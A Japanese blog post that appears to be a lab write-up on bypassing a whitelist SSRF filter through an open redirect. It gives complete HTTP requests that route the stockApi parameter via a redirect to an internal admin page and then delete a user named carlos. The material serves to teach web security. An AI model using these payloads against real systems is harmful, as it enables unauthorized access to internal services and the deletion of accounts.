Shikata Ga Nai

Private? There is no such things.

オープンリダイレクションを利用したSSRFフィルタの回避

Hello there, ('ω')ノ

一部のアプリケーションでは、SSRF対策としてホワイトリスト型のURLフィルタを実装 しています。
しかし、そのホワイトリスト内のドメインにオープンリダイレクション(Open Redirect)脆弱性がある場合、SSRFフィルタをバイパスできる可能性があります。


1. オープンリダイレクションとは?

オープンリダイレクションとは、攻撃者が自由に指定したURLへリダイレクトできる脆弱性 のことです。
多くのWebアプリでは、次のようなパラメータを使ってリダイレクトを処理しています。

🔹 例:オープンリダイレクションが発生するURL

https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net

このリクエストを実行すると、http://evil-user.net へリダイレクトされる。


2. オープンリダイレクションを使ったSSRF回避

▶ アプリケーションのフィルタの動作

stockApi の値は weliketoshop.net を含んでいれば許可される
しかし、weliketoshop.net にはオープンリダイレクションの脆弱性がある
バックエンドのHTTPクライアントがリダイレクトを自動フォローするなら、SSRFを実行可能!


3. 攻撃手順

① SSRFリクエストを作成

stockApi の値に、オープンリダイレクションのURLを指定し、内部管理ページにリダイレクトさせる。

▶ SSRFリクエスト

POST /product/stock HTTP/1.0
Host: weliketoshop.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

🔹 このリクエストの流れ: 1. アプリケーションは weliketoshop.net を含むため、フィルタを通過
2. /product/nextProduct にリクエストが送られる
3. path=http://192.168.0.68/admin により、管理ページにリダイレクト
4. バックエンドのHTTPクライアントがリダイレクトをフォローし、内部の http://192.168.0.68/admin にアクセス!

成功すると、レスポンスに /admin のHTMLが含まれる可能性がある!


4. ユーザー削除リクエストを実行

レスポンスのHTMLを解析し、削除リクエストのパスを特定します。
例えば、次のようなリンクがあるとします。

<a href="/admin/delete?username=carlos">Delete carlos</a>

▶ SSRFリクエストでユーザーを削除

POST /product/stock HTTP/1.0
Host: weliketoshop.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin/delete?username=carlos

このリクエストが成功すれば、「carlos」ユーザーが削除される!
ラボクリア!🎉


5. まとめ

回避手法 攻撃例
オープンリダイレクションの悪用 stockApi=http://weliketoshop.net/product/nextProduct?path=http://192.168.0.68/admin
リダイレクト先を内部管理ページに変更 path=http://192.168.0.68/admin/delete?username=carlos

🚨 オープンリダイレクションの脆弱性があると、SSRFフィルタを簡単に回避できる!
🚀 適切な対策として、オープンリダイレクションを防ぐためのチェックを実装することが重要!

Best regards, (^^ゞ